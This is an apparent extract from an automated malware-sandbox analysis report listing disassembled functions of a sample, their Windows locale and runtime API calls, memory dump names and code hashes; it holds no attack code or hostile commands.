Instruction Fuzzy Hash: 8D21C432A08105A6DB31CF94D900B9773A7AF55B74B2EC026E90AC7316E7B2DD42F350

Function 00FD9606 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 00FD9712
IsValidCodePage.KERNEL32(00000000), ref: 00FD975B
IsValidLocale.KERNEL32(?,00000001), ref: 00FD976A
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00FD97B2
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00FD97D1

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 9e7d7b9bf0c48c2d8476afadb306b99715eef0f1f6ffefc5d12ddc3a7a0e5720
Instruction ID: 42b22428fee5c5db568a088ea9b01208ea44904d32d22ce3e99ad266ccc4d25d
Opcode Fuzzy Hash: 9e7d7b9bf0c48c2d8476afadb306b99715eef0f1f6ffefc5d12ddc3a7a0e5720
Instruction Fuzzy Hash: 00518172D1420AAFDF10DFE5DC85AAA73BAFF04350F08442AE515E7290EBB4D900AB60

Function 00FD8C84 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetACP.KERNEL32(?,?,?,?,?,?,00FC8CB2,?,?,?,?,?,-00000050,?,?,?), ref: 00FD8D45
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00FC8CB2,?,?,?,?,?,-00000050,?,?), ref: 00FD8D70
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00FD8ED3

Strings

utf8, xrefs: 00FD8E42

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 66f7c7a199621ddf30cdd5bfe0e155c099290e84f635f10ddce18a9d5329947e
Instruction ID: 8e79e8c303c6b45f29b0f52239a0b7a71d36cce347320f1988a1fb7a11a0d86c
Opcode Fuzzy Hash: 66f7c7a199621ddf30cdd5bfe0e155c099290e84f635f10ddce18a9d5329947e
Instruction Fuzzy Hash: B0710672A00206AADB24AB75CC46FB673AAEF54790F18442BF505D72C1EE74DD42AB60

Function 00FD90B5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FD9109
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FD9153
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FD9219

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 78f82c80190e407e1656dfa04baa05daead5a209f5eb6968ba766ebeb64101ac
Instruction ID: 7d47e9148b7bb4570ce649ef851cc56654c392e0e0f223562447a904ab684280
Opcode Fuzzy Hash: 78f82c80190e407e1656dfa04baa05daead5a209f5eb6968ba766ebeb64101ac
Instruction Fuzzy Hash: A761E131908107AFDB28DF64CC86BBA77AAEF05311F18417AE905C6385E7B9D981EB50

Function 00FD25F2 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 00FD281F

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 9475664af5e29210af0c3e488bdc8b14cb88e818eda3e0f465d1d6a4e164c891
Instruction ID: 190a38e17baaf27bdd5075e863cf05c42a68b32814a9e789552681e06d483417
Opcode Fuzzy Hash: 9475664af5e29210af0c3e488bdc8b14cb88e818eda3e0f465d1d6a4e164c891
Instruction Fuzzy Hash: 2DB16F31610605CFD769CF28C486B547BA1FF54364F29865AE899CF3A1C335E982EB80

Function 00FD9308 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FD935C

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f05d99c1294fb13d8dc9e45768285b5193c5020504394a54d91a624f7e5afebf
Instruction ID: bce2f75a20b07244f359cc02e98dd3f413fd6fd19a5e47bf14f26b07677c1cba
Opcode Fuzzy Hash: f05d99c1294fb13d8dc9e45768285b5193c5020504394a54d91a624f7e5afebf
Instruction Fuzzy Hash: CA21B632A182069BDF18AB54DC42FBE73ADEF45314B18407FF901D6281E6B9DD00EB50

Function 00FD8F8F Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

EnumSystemLocalesW.KERNEL32(00FD90B5,00000001,00000000,?,?,?,00FD96E6,00000000,?,?,?), ref: 00FD9001

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2e3b7ddbf12f18d85072dce9915bc2ea7bb4e3b56f18e877829e354790268a67
Instruction ID: 9fcf3a13deccbe70b4137232d92193e0531626ca3fb8833e9cdcbb4e6931b28b
Opcode Fuzzy Hash: 2e3b7ddbf12f18d85072dce9915bc2ea7bb4e3b56f18e877829e354790268a67
Instruction Fuzzy Hash: 751129366047015FDB189F79D89557ABB93FF80368B18442EE58787B40D775A903D740

Function 00FD9537 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00FD92D1,00000000,00000000,?), ref: 00FD9563

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 8d091dd355546d2361852344f5621f29f4a4bfd11d0634cc6ce9332ebe6003f7
Instruction ID: 9988ae041dfd8c8c7717ef5669350075f33a5f3ea01df919def351335c07755d
Opcode Fuzzy Hash: 8d091dd355546d2361852344f5621f29f4a4bfd11d0634cc6ce9332ebe6003f7
Instruction Fuzzy Hash: 10F0FE36A041167BDB2557A09C45BFA7795DB40364F0C4439EC06A3240DBB4FE41E690

Function 00FD8E7F Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00FD8ED3

Strings

utf8, xrefs: 00FD8E42

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 8675c0e3dfcf5e423057b0e479ada135225aa581b703cc3e7cc08a5d9879c5fa
Instruction ID: 8934ca0c1e16f8fb7cf8e5bd99cf946ad83e125c37ee67a83e2810d309aea8a3
Opcode Fuzzy Hash: 8675c0e3dfcf5e423057b0e479ada135225aa581b703cc3e7cc08a5d9879c5fa
Instruction Fuzzy Hash: E4F0A432610149ABC714AB64DC8AEFA73ACDF45314F15417EF506D7281DA78AD05A790

Function 00FD902A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

EnumSystemLocalesW.KERNEL32(00FD9308,00000001,?,?,?,?,00FD96AA,?,?,?,?), ref: 00FD9074

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f272e9d860fd459b5a5655806097c49e38240b394962384eec4811c05bcc3b89
Instruction ID: 63bae8791398e3a8bca01c01971c3f172f47776d588a1d2195c597fb641e93d0
Opcode Fuzzy Hash: f272e9d860fd459b5a5655806097c49e38240b394962384eec4811c05bcc3b89
Instruction Fuzzy Hash: 5CF0F6363043045FDB24AF75AC89A7A7B96EF81368B09442EFA468B780C6F69C01E750

Function 00FCA871 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(00FCA85E,00000001,00FFA380,0000000C,00FCB19E,?,?,?,00000000), ref: 00FCA8A9

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 6df33ba9b453e625b19dca04045d789f1f647999af5bdbc7d93ce1091790da32
Instruction ID: c33fe9b05af0a5aae453868355a42a01bd7565080f43c21d301859001bb8520e
Opcode Fuzzy Hash: 6df33ba9b453e625b19dca04045d789f1f647999af5bdbc7d93ce1091790da32
Instruction Fuzzy Hash: FAF03772A40209EFD700EF98E942B9877F0FB44725F00411AF415DB2D1CBBA9900EF51

Function 00FD8F26 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FCC3E7: GetLastError.KERNEL32(?,00000008,00FCA5D6), ref: 00FCC3EB
Part of subcall function 00FCC3E7: SetLastError.KERNEL32(00000000), ref: 00FCC48D

EnumSystemLocalesW.KERNEL32(00FD8E7F,00000001,?,?,?,00FD9708,?,?,?,?), ref: 00FD8F5D

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 53bffac545b53acb6ec3a7bc6905fcaf6b435cee85a0ee9aebdf129ee28c1c3b
Instruction ID: 11645f3e62ae4153ffc7bc8edcd949a4e030ca3f943487ed181104cc803f5a22
Opcode Fuzzy Hash: 53bffac545b53acb6ec3a7bc6905fcaf6b435cee85a0ee9aebdf129ee28c1c3b
Instruction Fuzzy Hash: E0F0EC3570024557CB04AF35DC45A6ABF96EFC17A4B0A405DFA058F751C776D843D790

Function 00FCB32D Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,?,?,?,?,00FC9AA2,?,20001004,00000000,00000002), ref: 00FCB361

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2e0fbbec124b1e66188b962e8e489a421bb47cb73cc19503f436260a13d3d9f3
Instruction ID: ad9d7cff4051c23f8ce95160236a5625fb5af7dbb326444f40308a2b3202db1e
Opcode Fuzzy Hash: 2e0fbbec124b1e66188b962e8e489a421bb47cb73cc19503f436260a13d3d9f3
Instruction Fuzzy Hash: 7FE09A3690015DBBCF122F60EC0AFEE3B2ABB40760F040018FD0565120CB768920BAA0

Function 00FD86EF Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 51b36cf4f215ccec0dbda9f34d4dccae3ae36053e52d0890d8158a8b4e7a8ad0
Instruction ID: 8a6263493453ba3e8fff28912e3603619fe0be3bbb109f1910dc0b9bbd66aa76
Opcode Fuzzy Hash: 51b36cf4f215ccec0dbda9f34d4dccae3ae36053e52d0890d8158a8b4e7a8ad0
Instruction Fuzzy Hash: F4B118359007059BCB389B24CC92BB7B3EAEF44758F58452EE983C6740EE75E942E711

Function 00FC612A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,29949A30,?,?,00000000,00FE7EF1,000000FF,?,00FC60B1,?,?,00FC6085,00FE7ED4), ref: 00FC615F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FC6171
FreeLibrary.KERNEL32(00000000,?,?,00000000,00FE7EF1,000000FF,?,00FC60B1,?,?,00FC6085,00FE7ED4), ref: 00FC6193

Strings

mscoree.dll, xrefs: 00FC6158
CorExitProcess, xrefs: 00FC6169

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2f9f3d06b8ca36615c2d89680dc2d8cf9567bd33cd4a318ae67adadf185cfb4c
